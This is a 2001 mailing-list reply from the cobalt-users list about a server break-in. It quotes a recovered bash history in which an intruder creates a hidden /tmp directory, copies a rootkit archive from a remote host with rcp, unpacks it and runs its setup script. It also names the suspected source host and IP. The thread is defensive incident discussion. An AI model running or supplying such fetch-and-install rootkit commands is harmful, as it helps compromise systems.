[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
RE: [cobalt-users] Recent Hacks
- Subject: RE: [cobalt-users] Recent Hacks
- From: flash22@xxxxxxx
- Date: Mon Feb 12 14:15:50 2001
- List-id: Mailing list for users to share thoughts on Cobalt products. <cobalt-users.list.cobalt.com>
On Mon, 12 Feb 2001, Reinoud van Leeuwen wrote:
>
>
> > i've also found this:
> >
> > [root@www /root]# cat /.bash_history
> > id;mkdir /tmp/.new;cd /tmp/.new;rcp
> > adm@xxxxxxxxxxxxx:/var/adm/rh6kit.tar.gz
> > ./;
> > gzip -d rh6kit.tar.gz;
> > tar -xvf rh6kit.tar;./setup;id;
>
> Name: fresgisvr.frostburg.edu
> Address: 131.118.94.22
>
> That might be a place to look for your attacker...
Within 20 minutes of his having posted this that machine had all services
disabled ;) so i think someone alreany noticed -
gsh